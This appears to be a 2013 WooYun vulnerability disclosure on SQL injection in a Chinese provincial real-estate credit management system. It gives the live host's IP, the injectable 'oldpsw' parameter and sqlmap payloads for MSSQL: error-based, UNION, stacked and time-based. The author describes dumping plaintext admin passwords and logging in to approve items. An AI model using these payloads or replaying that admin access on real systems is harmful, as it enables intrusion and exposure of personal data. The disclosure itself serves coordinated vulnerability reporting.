当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-037445

漏洞标题:某省房地产某业务系统sql注入漏洞(导致任意资质审核、资本金审核、资质变更与投诉处理)

相关厂商:某省房地产管理局

漏洞作者: 霍大然

提交时间:2013-09-18 11:33

修复时间:2013-11-02 11:33

公开时间:2013-11-02 11:33

漏洞类型:

危害等级:高

自评Rank:13

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-18: 细节已通知厂商并且等待厂商处理中
2013-09-22: 厂商已经确认,细节仅向厂商公开
2013-10-02: 细节向核心白帽子及相关领域专家公开
2013-10-12: 细节向普通白帽子公开
2013-10-22: 细节向实习白帽子公开
2013-11-02: 细节向公众公开

简要描述:

某省房地产行业信用管理系统sql注入漏洞(可资质审核、资本金审核、资质变更与投诉处理),大量管理员及从业人员信息泄露,各种弱口令,各种明文密码。

详细说明:

湖南省房地产行业信用管理系统网站地址:
http://113.247.238.148:4000/kfqy/

3-1.PNG


注入点:
http://113.247.238.148:4000/kfqy/admin/save_psw.jsp?oldpsw=1
---
Place: GET
Parameter: oldpsw
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: oldpsw=1' AND 9603=CONVERT(INT,(SELECT CHAR(113)+CHAR(109)+CHAR(107)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (9603=9603) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(116)+CHAR(113)+CHAR(113))) AND 'YogB'='YogB
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: oldpsw=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(109)+CHAR(107)+CHAR(118)+CHAR(113)+CHAR(118)+CHAR(114)+CHAR(108)+CHAR(120)+CHAR(100)+CHAR(101)+CHAR(70)+CHAR(120)+CHAR(101)+CHAR(89)+CHAR(113)+CHAR(107)+CHAR(116)+CHAR(113)+CHAR(113),NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: oldpsw=1'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: oldpsw=1' WAITFOR DELAY '0:0:5'--
---
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2008

3-2.PNG


拿到管理员表,明文及各种弱口令:

3-3.PNG

漏洞证明:

其他业务数据表:

3-4.PNG


登录某管理员帐户,可以审核项目了:

3-5.PNG


看到这些投诉引起哥的正义感,终于可以处理他们了:

3-6.PNG


部分用户信息:

4.png

修复方案:

1、对参数oldpsw过滤;
2、手头宽裕的话买个waf吧,现在很多厂商都不补洞,一个waf解决

版权声明:转载请注明来源 霍大然@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2013-09-22 23:09

厂商回复:

最新状态:

暂无